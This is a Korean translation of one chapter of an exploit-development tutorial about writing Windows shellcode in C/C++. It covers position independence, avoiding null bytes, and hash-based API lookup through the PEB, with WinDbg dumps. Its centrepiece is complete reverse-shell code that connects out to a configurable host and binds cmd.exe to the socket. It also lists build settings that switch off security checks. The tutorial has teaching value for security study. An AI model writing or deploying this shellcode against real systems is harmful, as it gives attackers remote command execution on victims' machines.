티스토리 뷰

본 문서는 원문 저자인 Massimiliano Tomassoli의 허락 하에 번역이 되었으며, 원문과 관련된 모든 저작물에 대한 저작권은 원문 저자인 Massimiliano Tomassoli에 있음을 밝힙니다. 


http://expdev-kiuhnm.rhcloud.com



최신 윈도우즈 익스플로잇 개발 06. 쉘 코드


hackability.kr (김태범)

hackability_at_naver.com or ktb88_at_korea.ac.kr

2016.07.19



소개


쉘코드는 코드의 조각으로 취약한 프로그램에 주입되어 익스플로잇에 의해 페이로드로 전달되어 실행됩니다. 쉘코드는 위치에 독립적이어야 합니다. 예를들어 메모리의 어떤 위치에서도 실행 될 수 있어야 하며 null 바이트를 포함하지 않아야 하는데 이는 보통 strcpy에 의해 쉘 코드가 메모리로 복사가 되는데 null 바이트를 만나면 복사가 중단되기 때문입니다. 만약 쉘 코드가 null 바이트를 포함해야 한다면 첫 번째 null 바이트 까지의 쉘코드만 올라가게 되고 쉘코드는 실패하게 될 것 입니다.

 

쉘코드는 보통 어셈블리로 작성하지만 꼭 그럴 필요는 없습니다. 여기에서는 Visual Studio 2013 을 이용하여 C/C++로 쉘코드를 개발해보도록 하겠습니다. 이를통해 얻을 수 있는 이점은 다음과 같습니다.


1. 개발 시간 단축

2. 고도화 (intellisense)

3. 쉬운 디버깅


VC 2013으로 쉘코드를 포함하는 실행 파일을 만들고 파이썬 스크립트를 이용하여 쉘코드를 추출하여 수정해보도록 하겠습니다. (null 바이트 제거)


C/C++ 코드


스택 변수만 사용


C/C++에서 위치에 독립적인 쉘코드를 작성하기 위해 스택에 할당된 변수들을 이용해야 합니다. 이 뜻은 다음과 같이 작성할 수 없음을 의미합니다.


1
char *= new char[100];
cs


왜냐하면 위 배열은 힙에 할당되기 때문입니다. 더 중요한 것은, 이는 msvcr120.dll의 함수에서 절대 주소를 이용하여 할당 연산을 시도합니다.


00191000 6A 64                push        64h

00191002 FF 15 90 20 19 00    call        dword ptr ds:[192090h]


192090h는 함수의 주소를 가지고 있습니다.

 

만약 라이브러리에서 제공되는 함수를 호출하고 싶다면 윈도우즈 로더나 import tables와 관계 없이 직접 호출해야 합니다다른 문제로는 할당 연산은 C/C++ 언어의 런타임 컴포넌트에서 몇몇 초기화를 필요로 할 수 있습니다. 우리의 쉘코드에서는 이러한 작업을 원치 않습니다.

 

전역 변수 역시 사용할 수 없습니다.


1
2
3
4
5
int x;
 
int main() {
  x = 12;
}
cs


최적화를 하지 않았을 때, 위의 내용은 다음과 같습니다


008E1C7E C7 05 30 91 8E 00 0C 00 00 00 mov         dword ptr ds:[8E9130h],0Ch


8E9130h는 변수 x의 절대 주소 입니다.

 

문자열들도 문제를 야기 합니다. 만약 다음과 같이 작성한다면


1
2
char str[] = "I'm a string";
printf(str);
cs


문자열은 실행 파일의 .rdata 섹션에 위치하며 절대 주소로 참조될 것 입니다. 쉘 코드에서는 printf를 사용하면 안됩니다. 아래는 str이 어떻게 참조되고 있는지 보여줍니다.


00A71006 8D 45 F0             lea         eax,[str]

00A71009 56                   push        esi

00A7100A 57                   push        edi

00A7100B BE 00 21 A7 00       mov         esi,0A72100h

00A71010 8D 7D F0             lea         edi,[str]

00A71013 50                   push        eax

00A71014 A5                   movs        dword ptr es:[edi],dword ptr [esi]

00A71015 A5                   movs        dword ptr es:[edi],dword ptr [esi]

00A71016 A5                   movs        dword ptr es:[edi],dword ptr [esi]

00A71017 A4                   movs        byte ptr es:[edi],byte ptr [esi]

00A71018 FF 15 90 20 A7 00    call        dword ptr ds:[0A72090h]


보시다시피, 문자열 .rdata A72100h 주소에 위치해 있으며 movsd movsb를 통해 스택에 복사됩니다. (str 스택을 가리킴) A72100h는 절대 주소기 때문에 위치에 독립적이지 않습니다.

 

만약 우리가 다음과 같이 코드를 작성한다면


1
2
char *str = "I'm a string";
printf(str);
cs


문자열은 .rdata 섹션에 있지만 스택에 복사 되지 않습니다.


00A31000 68 00 21 A3 00       push        0A32100h

00A31005 FF 15 90 20 A3 00    call        dword ptr ds:[0A32090h]


.rdata에 있는 문자열의 절대 위치는 A32100h 입니다그러면 어떻게 이 코드를 위치에 독립적으로 만들 수 있을까요?

 

간단한 (부분적인) 방법으로는 약간 복잡합니다.


1
2
char str[] = { 'I''\'''m'' ''a'' ''s''t''r''i''n''g''\0' };
printf(str);
cs


어셈 코드는 다음과 같습니다.


012E1006 8D 45 F0             lea         eax,[str]

012E1009 C7 45 F0 49 27 6D 20 mov         dword ptr [str],206D2749h

012E1010 50                   push        eax

012E1011 C7 45 F4 61 20 73 74 mov         dword ptr [ebp-0Ch],74732061h

012E1018 C7 45 F8 72 69 6E 67 mov         dword ptr [ebp-8],676E6972h

012E101F C6 45 FC 00          mov         byte ptr [ebp-4],0

012E1023 FF 15 90 20 2E 01    call        dword ptr ds:[12E2090h]


printf 함수를 제외하면 이 코드는 위치에 독립적 입니다 왜냐하면 mov 명령의 source operands 문자열의 위치가 직접 코드 되어 있기 때문입니다. 문자열이 스택에 생성되면 사용될 수 있습니다.

 

안타깝지만 문자열이 더 길어진다면 이는 더이상 사용될 수 없습니다. 코드를 보면


1
2
char str[] = { 'I''\'''m'' ''a'' ''v''e''r''y'' ''l''o''n''g'' ''s''t''r''i''n''g''\0' };
printf(str);
cs



이를 어셈으로 보면


013E1006 66 0F 6F 05 00 21 3E 01 movdqa      xmm0,xmmword ptr ds:[13E2100h]

013E100E 8D 45 E8             lea         eax,[str]

013E1011 50                   push        eax

013E1012 F3 0F 7F 45 E8       movdqu      xmmword ptr [str],xmm0

013E1017 C7 45 F8 73 74 72 69 mov         dword ptr [ebp-8],69727473h

013E101E 66 C7 45 FC 6E 67    mov         word ptr [ebp-4],676Eh

013E1024 C6 45 FE 00          mov         byte ptr [ebp-2],0

013E1028 FF 15 90 20 3E 01    call        dword ptr ds:[13E2090h]


보시다시피, 13E2100h 주소의 .rdata 섹션에 있는 문자열을 보면 mov 명령의 source operand에 다른 문자열들이 인코드 되어 있습니다

 

제가 찾은 해결책은 다음과 같습니다.


1
char *str = “I’m a very long string”;
cs


그리고 파이썬 스크립트로 쉘코드를 수정합니다. 스크립트는 .rdata 섹션의 문자열들을 추출하여 쉘코드에 넣고 재배치합니다. 어떻게 하는지 곧 보여드리겠습니다.



직접 윈도우즈 API 호출하지 않기


우리는 다음과 같이 작성 할 수 없습니다.


1
WaitForSingleObject(procInfo.hProcess, INFINITE);
cs


C/C++에서는 다음과 같이 작성할 수 없는데 그 이유는 WaitForSingleObject kernel32.dll 에서 가져와야 하기 때문입니다


라이브러리에서 함수를 가져오는것은 더욱 복잡합니다. 간단히, PE 파일은 import table iport address table (IAT)를 포함하고 있습니다. import table은 어떤 함수가 어떤 라이브러리에서 가져온건지에 대한 정보가 있습니다. IAT는 실행 파일이 로드 됫을 때, 윈도우 로더에 의해 컴파일 되며 imported 함수들의 주소를 갖고 있습니다. 실행 파일의 코드에서 imported 함수들을 간접호출 합니다. 예를들어,


 001D100B FF 15 94 20 1D 00    call        dword ptr ds:[1D2094h]


주소 1D2094h IAT에 있는 entry의 위치이며 이는 MessageBoxA 함수의 주소를 갖고 있습니다. 간접 호출은 매우 유용한데 그 이유는 호출에 대해 따로 수정할 필요가 없기 때문입니다. (실행파일이 재정렬 되지 않는 한에서는) 윈도우즈 로더에서 수정이 필요한 것은 1D2094h (MessageBoxA함수 주소) 입니다.

 

해결책은 윈도우즈의 인메모리 데이터 구조에서 직접 윈도우즈 함수의 주소를 얻는 것 입니다. 어떻게 할 수 있는지는 뒤에서 다시 살펴보도록 하겠습니다.



VS 2013 CTP 설치


먼저 Visual C++ Compiler November 2013 CTP 다운받고 설치 합니다.

  • https://www.microsoft.com/en-us/download/details.aspx?id=41151



새로운 프로젝트 생성


File -> New -> Project ... 로 가서 Installed -> Templates -> Visual C++ -> Win32 -> Win32 Console Application 을 선택하고 project 명을 넣고 OK 를 누릅니다.


Project -> <project name> 의 속성으로 가면 새로운 상자가 나타날 것 입니다. Release Debug 에 대해 변경된 설정들을 적용합니다. Configuration Properties General 을 확장하여 Platform Tools All Configuration 으로 수정합니다. 이렇게 하면 static_assert와 같은 C++11, C++14를 이용할 수 있습니다.



쉘 코드 예제


아래 코드는 간단한 리버스 쉘에 대한 예제 입니다. shellcode.cpp 이름으로 파일을 프로젝트에 추가 하고 아래 코드를 복사합니다. 아래 코드를 지금 바로 이해 하려고 하지 말아주세요. 이후에 상세히 설명하도록 하겠습니다.


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
// Simple reverse shell shellcode by Massimiliano Tomassoli (2015)
// NOTE: Compiled on Visual Studio 2013 + "Visual C++ Compiler November 2013 CTP".
 
#include <WinSock2.h>               // must preceed #include <windows.h>
#include <WS2tcpip.h>
#include <windows.h>
#include <winnt.h>
#include <winternl.h>
#include <stddef.h>
#include <stdio.h>
 
#define htons(A) ((((WORD)(A) & 0xff00>> 8| (((WORD)(A) & 0x00ff<< 8))
 
_inline PEB *getPEB() {
    PEB *p;
    __asm {
        mov     eax, fs:[30h]
        mov     p, eax
    }
    return p;
}
 
DWORD getHash(const char *str) {
    DWORD h = 0;
    while (*str) {
        h = (h >> 13| (h << (32 - 13));       // ROR h, 13
        h += *str >= 'a' ? *str - 32 : *str;    // convert the character to uppercase
        str++;
    }
    return h;
}
 
DWORD getFunctionHash(const char *moduleName, const char *functionName) {
    return getHash(moduleName) + getHash(functionName);
}
 
LDR_DATA_TABLE_ENTRY *getDataTableEntry(const LIST_ENTRY *ptr) {
    int list_entry_offset = offsetof(LDR_DATA_TABLE_ENTRY, InMemoryOrderLinks);
    return (LDR_DATA_TABLE_ENTRY *)((BYTE *)ptr - list_entry_offset);
}
 
// NOTE: This function doesn't work with forwarders. For instance, kernel32.ExitThread forwards to
//       ntdll.RtlExitUserThread. The solution is to follow the forwards manually.
PVOID getProcAddrByHash(DWORD hash) {
    PEB *peb = getPEB();
    LIST_ENTRY *first = peb->Ldr->InMemoryOrderModuleList.Flink;
    LIST_ENTRY *ptr = first;
    do {                            // for each module
        LDR_DATA_TABLE_ENTRY *dte = getDataTableEntry(ptr);
        ptr = ptr->Flink;
 
        BYTE *baseAddress = (BYTE *)dte->DllBase;
        if (!baseAddress)           // invalid module(???)
            continue;
        IMAGE_DOS_HEADER *dosHeader = (IMAGE_DOS_HEADER *)baseAddress;
        IMAGE_NT_HEADERS *ntHeaders = (IMAGE_NT_HEADERS *)(baseAddress + dosHeader->e_lfanew);
        DWORD iedRVA = ntHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress;
        if (!iedRVA)                // Export Directory not present
            continue;
        IMAGE_EXPORT_DIRECTORY *ied = (IMAGE_EXPORT_DIRECTORY *)(baseAddress + iedRVA);
        char *moduleName = (char *)(baseAddress + ied->Name);
        DWORD moduleHash = getHash(moduleName);
 
        // The arrays pointed to by AddressOfNames and AddressOfNameOrdinals run in parallel, i.e. the i-th
        // element of both arrays refer to the same function. The first array specifies the name whereas
        // the second the ordinal. This ordinal can then be used as an index in the array pointed to by
        // AddressOfFunctions to find the entry point of the function.
        DWORD *nameRVAs = (DWORD *)(baseAddress + ied->AddressOfNames);
        for (DWORD i = 0; i < ied->NumberOfNames; ++i) {
            char *functionName = (char *)(baseAddress + nameRVAs[i]);
            if (hash == moduleHash + getHash(functionName)) {
                WORD ordinal = ((WORD *)(baseAddress + ied->AddressOfNameOrdinals))[i];
                DWORD functionRVA = ((DWORD *)(baseAddress + ied->AddressOfFunctions))[ordinal];
                return baseAddress + functionRVA;
            }
        }
    } while (ptr != first);
 
    return NULL;            // address not found
}
 
#define HASH_LoadLibraryA           0xf8b7108d
#define HASH_WSAStartup             0x2ddcd540
#define HASH_WSACleanup             0x0b9d13bc
#define HASH_WSASocketA             0x9fd4f16f
#define HASH_WSAConnect             0xa50da182
#define HASH_CreateProcessA         0x231cbe70
#define HASH_inet_ntoa              0x1b73fed1
#define HASH_inet_addr              0x011bfae2
#define HASH_getaddrinfo            0xdc2953c9
#define HASH_getnameinfo            0x5c1c856e
#define HASH_ExitThread             0x4b3153e0
#define HASH_WaitForSingleObject    0xca8e9498
 
#define DefineFuncPtr(name)     decltype(name) *My_##name = (decltype(name) *)getProcAddrByHash(HASH_##name)
 
int entryPoint() {
//  printf("0x%08x\n", getFunctionHash("kernel32.dll", "WaitForSingleObject"));
//  return 0;
 
    // NOTE: we should call WSACleanup() and freeaddrinfo() (after getaddrinfo()), but
    //       they're not strictly needed.
 
    DefineFuncPtr(LoadLibraryA);
 
    My_LoadLibraryA("ws2_32.dll");
 
    DefineFuncPtr(WSAStartup);
    DefineFuncPtr(WSASocketA);
    DefineFuncPtr(WSAConnect);
    DefineFuncPtr(CreateProcessA);
    DefineFuncPtr(inet_ntoa);
    DefineFuncPtr(inet_addr);
    DefineFuncPtr(getaddrinfo);
    DefineFuncPtr(getnameinfo);
    DefineFuncPtr(ExitThread);
    DefineFuncPtr(WaitForSingleObject);
 
    const char *hostName = "127.0.0.1";
    const int hostPort = 123;
 
    WSADATA wsaData;
 
    if (My_WSAStartup(MAKEWORD(22), &wsaData))
        goto __end;         // error
    SOCKET sock = My_WSASocketA(AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL00);
    if (sock == INVALID_SOCKET)
        goto __end;
 
    addrinfo *result;
    if (My_getaddrinfo(hostName, NULLNULL&result))
        goto __end;
    char ip_addr[16];
    My_getnameinfo(result->ai_addr, result->ai_addrlen, ip_addr, sizeof(ip_addr), NULL0, NI_NUMERICHOST);
 
    SOCKADDR_IN remoteAddr;
    remoteAddr.sin_family = AF_INET;
    remoteAddr.sin_port = htons(hostPort);
    remoteAddr.sin_addr.s_addr = My_inet_addr(ip_addr);
 
    if (My_WSAConnect(sock, (SOCKADDR *)&remoteAddr, sizeof(remoteAddr), NULLNULLNULLNULL))
        goto __end;
 
    STARTUPINFOA sInfo;
    PROCESS_INFORMATION procInfo;
    SecureZeroMemory(&sInfo, sizeof(sInfo));        // avoids a call to _memset
    sInfo.cb = sizeof(sInfo);
    sInfo.dwFlags = STARTF_USESTDHANDLES;
    sInfo.hStdInput = sInfo.hStdOutput = sInfo.hStdError = (HANDLE)sock;
    My_CreateProcessA(NULL"cmd.exe"NULLNULL, TRUE, 0NULLNULL&sInfo, &procInfo);
 
    // Waits for the process to finish.
    My_WaitForSingleObject(procInfo.hProcess, INFINITE);
 
__end:
    My_ExitThread(0);
 
    return 0;
}
 
int main() {
    return entryPoint();
}
 
cs



컴파일러 설정


Project -> <project name> properties로 간 뒤, Configuration Properties를 확장하고 C/C++로 갑니다. 변경 사항은 릴리즈 설정에 적용합니다. 아래는 우리가 변경해야 할 설정들 입니다.


  • General
    • SDL Checks: No (/sdl-)
필요 없을 수도 있지만 저는 항상 비활성화 해놓습니다.

  • Optimization
    • Optimization: Minimize Size (/O1)
이 옵션은 우리는 쉘코드가 가능한 작게끔 하기 위해서 정말 중요합니다.
    • Inline Function Expansion: Only __inline (/Ob1)
만약 함수 A가 함수 B를 호출하고 B inline함수라면 B 호출이 B 코드로 변경됩니다. 이 설정은 VS 2013에게 _inline 으로 된 함수들만 inline 으로 처리하라고 알려줍니다. 이는 매우 중요합니다. main은 단지 entryPoint를 호출하기 때문에 이는 매우 중요합니다. 만약 entryPoint 함수가 짧다면 main() inline 될 수 있기 때문입니다. 이렇게 되면 main이 우리의 쉘코드를 가리키지 않을 수 있습니다. (사실 부분적으로는 가지고 있습니다) 이것이 왜 중요한지는 추후에 보도록 하겠습니다.
    • Enable Intrinsic Function: Yes (/Oi)
    • Favor Size Or Speed: Favor small code (/Os)
    • Whole Program Optimization: Yes (/GL)
  • Code Generation
    • Security Check: Disable Security Check (/GS-)
우리는 어떤 보안도 필요하지 않습니다.
    • Enable Function-Level linking: Yes (/Gy)



링커 설정


Project -> <project name> properties로 간 뒤, Configuration Properties를 확장하고 Linker로 갑니다. 변경 사항은 릴리즈 설정에 적용합니다. 아래는 우리가 변경해야 할 설정들 입니다.


  • General
    • Enable INcremental Linking: No (/INCREMENTAL:NO)
  • Debugging
    • Generate Map File: Yes (/MAP)
EXE의 구조를 포함하는 맵 파일을 생성하도록 링커에게 알립니다.
    • Map File Name: mapfile
맵 파일의 이름으로 아무 이름이나 넣습니다.
  • Optimization
    • References: Yes (/OPT:REF)
이는 작은 쉘코드를 만들때 굉장이 중요한 옵션입니다. 왜냐하면 코드에서 사용되지 않는 함수나 데이터를 삭제 하기 때문입니다.
    • Enable COMDAT Folding: Yes (/OPT:ICF)
    • Function Order: function_order.txt
이는 function_order.txt를 읽는데 이는 코드 섹션에 반드시 있는 함수들의 순서를 명시합니다. 우리는 코드 섹션에서 entryPoint를 첫 번째 함수로 지정하고 싶기 때문에 function_order.txt에는 ?entryPoint@@YAHXZ 한줄만 존재합니다. 함수의 이름은 맵파일을 통해 확인할 수 있습니다.


getProcAddrByHash

이 함수는 모듈과 함수들이 연관된 해쉬가 주어졌을 때, 현재 메모리에 있는 모듈 (.exe 또는 .dll)에 의해 노출된 함수들의 주소를 반환합니다. 이는 분명히 함수의 이름을 찾을 수 있지만 이는 상당량의 공간을 소비하게 되는데 그 이유는 쉘 코드에 이 이름들이 포함되어야 하기 때문입니다. 반면에 해쉬는 4바이트 밖에 하지 않습니다. 우리는 2개의 해쉬들 (하나는 모듈, 다른 하나는 함수)을 사용하지 않기 때문에 getProcAddrByHash는 메모리에 로드된 모든 모듈들에 대해 고려해야 합니다.

 

MessageBoxA의 해쉬는 user32.dll에서 제공되며 다음과 같이 연산됩니다.


1
DWORD hash = getFunctionHash("user32.dll""MessageBoxA");
cs


해쉬는 getHash("user32.dll") getHash("MessageBoxA")의 합 입니다. getHash의 구현은 간단합니다.


1
2
3
4
5
6
7
8
9
DWORD getHash(const char *str) {
    DWORD h = 0;
    while (*str) {
        h = (h >> 13| (h << (32 - 13));       // ROR h, 13
        h += *str >= 'a' ? *str - 32 : *str;    // convert the character to uppercase
        str++;
    }
    return h;
}
cs


보시다시피 해쉬는 대소문자를 가리지 않습니다. 몇몇 윈도우즈 버전에서는 메모리에 있는 모든 이름들이 모두 대문자 이기 때문입니다.

 

첫 번째로, getProcAddrByHash TEB (Thread Environment Block)의 주소를 가져옵니다.


1
PEB *peb = getPEB()
cs


getPEB는 다음과 같습니다.


1
2
3
4
5
6
7
8
_inline PEB *getPEB() {
    PEB *p;
    __asm {
        mov eax, fs:[30h]
        mov p, eax
    }
    return p;
}
cs


선택자 fs TEB 주소에서 시작하는 세그먼트와 연관되어 있습니다. TEB의 오프셋 30h PEB (Process Environment Block)를 가리키고 있는 포인터를 갖고 있습니다. WinDbg에서 이를 확인할 수 있습니다.


0:000> dt _TEB @$teb

ntdll!_TEB

+0x000 NtTib            : _NT_TIB

+0x01c EnvironmentPointer : (null)

+0x020 ClientId         : _CLIENT_ID

+0x028 ActiveRpcHandle  : (null)

+0x02c ThreadLocalStoragePointer : 0x7efdd02c Void

+0x030 ProcessEnvironmentBlock : 0x7efde000 _PEB

+0x034 LastErrorValue   : 0

+0x038 CountOfOwnedCriticalSections : 0

+0x03c CsrClientThread  : (null)

<snip>


PEB의 이름에서도 보시다시피 이는 현재 프로세스와 연관되어 있으며 프로세스 주소 공간에 로드된 모듈들에 대한 정보나 다른 것들도 가지고 있습니다.

 

getProcAddrByHash를 다시 살펴 보면 다음과 같습니다.


1
2
3
4
5
6
7
8
9
10
11
12
13
14
PVOID getProcAddrByHash(DWORD hash) {
    PEB *peb = getPEB();
    LIST_ENTRY *first = peb->Ldr->InMemoryOrderModuleList.Flink;
    LIST_ENTRY *ptr = first;
    do {                            // for each module
        LDR_DATA_TABLE_ENTRY *dte = getDataTableEntry(ptr);
        ptr = ptr->Flink;
        .
        .
        .
    } while (ptr != first);
 
    return NULL;            // address not found
}
cs


PEB를 확인해보면 다음과 같습니다.


0:000> dt _PEB @$peb

ntdll!_PEB

   +0x000 InheritedAddressSpace : 0 ''

   +0x001 ReadImageFileExecOptions : 0 ''

   +0x002 BeingDebugged    : 0x1 ''

   +0x003 BitField         : 0x8 ''

   +0x003 ImageUsesLargePages : 0y0

   +0x003 IsProtectedProcess : 0y0

   +0x003 IsLegacyProcess  : 0y0

   +0x003 IsImageDynamicallyRelocated : 0y1

   +0x003 SkipPatchingUser32Forwarders : 0y0

   +0x003 SpareBits        : 0y000

   +0x004 Mutant           : 0xffffffff Void

   +0x008 ImageBaseAddress : 0x00060000 Void

   +0x00c Ldr              : 0x76fd0200 _PEB_LDR_DATA

   +0x010 ProcessParameters : 0x00681718 _RTL_USER_PROCESS_PARAMETERS

   +0x014 SubSystemData    : (null)

   +0x018 ProcessHeap      : 0x00680000 Void

   <snip>


0Ch위치에 Ldr이라 불리는 필드가 존재하는데 이는 PEB_LDR_DATA 데이터 구조를 가리키고 있습니다. WinDbg에서 살펴보면 다음과 같습니다.


0:000> dt _PEB_LDR_DATA 0x76fd0200

ntdll!_PEB_LDR_DATA

   +0x000 Length           : 0x30

   +0x004 Initialized      : 0x1 ''

   +0x008 SsHandle         : (null)

   +0x00c InLoadOrderModuleList : _LIST_ENTRY [ 0x683080 - 0x6862c0 ]

   +0x014 InMemoryOrderModuleList : _LIST_ENTRY [ 0x683088 - 0x6862c8 ]

   +0x01c InInitializationOrderModuleList : _LIST_ENTRY [ 0x683120 - 0x6862d0 ]

   +0x024 EntryInProgress  : (null)

   +0x028 ShutdownInProgress : 0 ''

   +0x02c ShutdownThreadId : (null)


InMemoryOrderModuleList는 현재 프로세스 주소 공간에 로드된 모듈과 연관된 LDR_DATA_TABLE_ENTRY 구조의 이중-링크드 리스트입니다. 더 명확하게 하자면 InMemoryOrderModuleList LIST_ENTRY이며 이는 2개의 필드를 포함합니다.


0:000> dt _LIST_ENTRY

ntdll!_LIST_ENTRY

   +0x000 Flink            : Ptr32 _LIST_ENTRY

   +0x004 Blink            : Ptr32 _LIST_ENTRY


Flink forward link를 뜻하며 Blink backward link를 뜻합니다. Flink 는 첫 번째 모듈의 LDR_DATA_TABLE_ENTRY 를 가리킵니다. 정확하진 않지만 Flink LDR_DATA_TABLE_ENTRY 구조의 LIST_ENTRY 구조를 가리킵니다.


LDR_DATA_TABLE-ENTRY는 다음과 같이 정의되어 있습니다.


0:000> dt _LDR_DATA_TABLE_ENTRY

ntdll!_LDR_DATA_TABLE_ENTRY

   +0x000 InLoadOrderLinks : _LIST_ENTRY

   +0x008 InMemoryOrderLinks : _LIST_ENTRY

   +0x010 InInitializationOrderLinks : _LIST_ENTRY

   +0x018 DllBase          : Ptr32 Void

   +0x01c EntryPoint       : Ptr32 Void

   +0x020 SizeOfImage      : Uint4B

   +0x024 FullDllName      : _UNICODE_STRING

   +0x02c BaseDllName      : _UNICODE_STRING

   +0x034 Flags            : Uint4B

   +0x038 LoadCount        : Uint2B

   +0x03a TlsIndex         : Uint2B

   +0x03c HashLinks        : _LIST_ENTRY

   +0x03c SectionPointer   : Ptr32 Void

   +0x040 CheckSum         : Uint4B

   +0x044 TimeDateStamp    : Uint4B

   +0x044 LoadedImports    : Ptr32 Void

   +0x048 EntryPointActivationContext : Ptr32 _ACTIVATION_CONTEXT

   +0x04c PatchInformation : Ptr32 Void

   +0x050 ForwarderLinks   : _LIST_ENTRY

   +0x058 ServiceTagLinks  : _LIST_ENTRY

   +0x060 StaticLinks      : _LIST_ENTRY

   +0x068 ContextInformation : Ptr32 Void

   +0x06c OriginalBase     : Uint4B

   +0x070 LoadTime         : _LARGE_INTEGER


InMemoryOrderModuleList.Flink _LDR_DATA_TABLE_ENTRY.InMemoryOrderLinks를 가리키는데 이는 오프셋 8에 위치해 있습니다. 따라서 우리는 _LDR_DATA_TABLE_ENTRY의 주소에서 8을 빼 주어야 합니다.

 

Flink의 포인터를 얻어 보도록 하죠.


+0x00c InLoadOrderModuleList : _LIST_ENTRY [ 0x683080 - 0x6862c0 ]


이 값은 0x683080이기 때문에 _LDR_DATA_TABLE_ENTRY 구조는 0x683080 - 8 = 0x683078 에 위치해 있습니다.


0:000> dt _LDR_DATA_TABLE_ENTRY 683078

ntdll!_LDR_DATA_TABLE_ENTRY

   +0x000 InLoadOrderLinks : _LIST_ENTRY [ 0x359469e5 - 0x1800eeb1 ]

   +0x008 InMemoryOrderLinks : _LIST_ENTRY [ 0x683110 - 0x76fd020c ]

   +0x010 InInitializationOrderLinks : _LIST_ENTRY [ 0x683118 - 0x76fd0214 ]

   +0x018 DllBase          : (null)

   +0x01c EntryPoint       : (null)

   +0x020 SizeOfImage      : 0x60000

   +0x024 FullDllName      : _UNICODE_STRING "蒮m쿟ᄍ엘ᆲ膪n???"

   +0x02c BaseDllName      : _UNICODE_STRING "C:\Windows\SysWOW64\calc.exe"

   +0x034 Flags            : 0x120010

   +0x038 LoadCount        : 0x2034

   +0x03a TlsIndex         : 0x68

   +0x03c HashLinks        : _LIST_ENTRY [ 0x4000 - 0xffff ]

   +0x03c SectionPointer   : 0x00004000 Void

   +0x040 CheckSum         : 0xffff

   +0x044 TimeDateStamp    : 0x6841b4

   +0x044 LoadedImports    : 0x006841b4 Void

   +0x048 EntryPointActivationContext : 0x76fd4908 _ACTIVATION_CONTEXT

   +0x04c PatchInformation : 0x4ce7979d Void

   +0x050 ForwarderLinks   : _LIST_ENTRY [ 0x0 - 0x0 ]

   +0x058 ServiceTagLinks  : _LIST_ENTRY [ 0x6830d0 - 0x6830d0 ]

   +0x060 StaticLinks      : _LIST_ENTRY [ 0x6830d8 - 0x6830d8 ]

   +0x068 ContextInformation : 0x00686418 Void

   +0x06c OriginalBase     : 0x6851a8

   +0x070 LoadTime         : _LARGE_INTEGER 0x76f0c9d0


보시다시피, WinDbg에서 calc.exe를 디버깅 하고 있습니다. 첫 번째 모듈은 실행 파일 자체를 뜻합니다. 중요한 필드는 DLLBase (c) 입니다. 모듈의 기본(base) 주소가 주어졌을 때, 메모리에 로드된 PE 파일을 분석할 수 있고 외부에 노출된 함수들의 주소와 같은 정보를 얻을 수 있습니다.

 

이는 정확히 우리가 getProcAddrByHash에서 하는것과 같습니다.


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
    .
    .
    .
    BYTE *baseAddress = (BYTE *)dte->DllBase;
    if (!baseAddress)           // invalid module(???)
        continue;
    IMAGE_DOS_HEADER *dosHeader = (IMAGE_DOS_HEADER *)baseAddress;
    IMAGE_NT_HEADERS *ntHeaders = (IMAGE_NT_HEADERS *)(baseAddress + dosHeader->e_lfanew);
    DWORD iedRVA = ntHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress;
    if (!iedRVA)                // Export Directory not present
        continue;
    IMAGE_EXPORT_DIRECTORY *ied = (IMAGE_EXPORT_DIRECTORY *)(baseAddress + iedRVA);
    char *moduleName = (char *)(baseAddress + ied->Name);
    DWORD moduleHash = getHash(moduleName);
 
    // The arrays pointed to by AddressOfNames and AddressOfNameOrdinals run in parallel, i.e. the i-th
    // element of both arrays refer to the same function. The first array specifies the name whereas
    // the second the ordinal. This ordinal can then be used as an index in the array pointed to by
    // AddressOfFunctions to find the entry point of the function.
    DWORD *nameRVAs = (DWORD *)(baseAddress + ied->AddressOfNames);
    for (DWORD i = 0; i < ied->NumberOfNames; ++i) {
        char *functionName = (char *)(baseAddress + nameRVAs[i]);
        if (hash == moduleHash + getHash(functionName)) {
            WORD ordinal = ((WORD *)(baseAddress + ied->AddressOfNameOrdinals))[i];
            DWORD functionRVA = ((DWORD *)(baseAddress + ied->AddressOfFunctions))[ordinal];
            return baseAddress + functionRVA;
        }
    }
    .
    .
    .
cs


이 코드를 이해 하기 위해서는 PE 파일 구조를 알 필요가 있습니다. 저는 여기서 너무 자세히 들어가진 않겠습니다. 당신이 알아야 하는 한 가지 중요한 것은 PE 파일의 구조에 있는 주소들은 RVA (Relative Virtual Address) 라는 것 입니다. (전부는 아니지만) 예를들어 만약 RVA 100h 이고 DllBase 400000h라 하면 RVA 400000h + 100h = 400100h 주소의 데이터를 가리킵니다

 

모듈은 DOS_HEADER라 불리는 곳에서 시작하는데 이는 FILE_HEADER OPTIONAL_HEADER NT_HEADERS를 가리키는 RVA (e_lfanew)를 갖고 있습니다. OPTIONAL_HEADER DataDirectory라 불리는 배열을 갖고 있는데 이는 PE 모듈의 다양한 "디렉토리"를 가리키고 있습니다. 우리는 여기서 Export Directory에 집중합니다.

 

Export Directory 와 연관된 C 구조의 정의는 다음과 같습니다.


1
2
3
4
5
6
7
8
9
10
11
12
13
typedef struct _IMAGE_EXPORT_DIRECTORY {
    DWORD   Characteristics;
    DWORD   TimeDateStamp;
    WORD    MajorVersion;
    WORD    MinorVersion;
    DWORD   Name;
    DWORD   Base;
    DWORD   NumberOfFunctions;
    DWORD   NumberOfNames;
    DWORD   AddressOfFunctions;     // RVA from base of image
    DWORD   AddressOfNames;         // RVA from base of image
    DWORD   AddressOfNameOrdinals;  // RVA from base of image
} IMAGE_EXPORT_DIRECTORY, *PIMAGE_EXPORT_DIRECTORY;
cs


Name 필드는 모듈의 이름을 갖고 있는 문자열 RVA 입니다. 그리고 5개의 중요한 필드들이 더 있습니다.

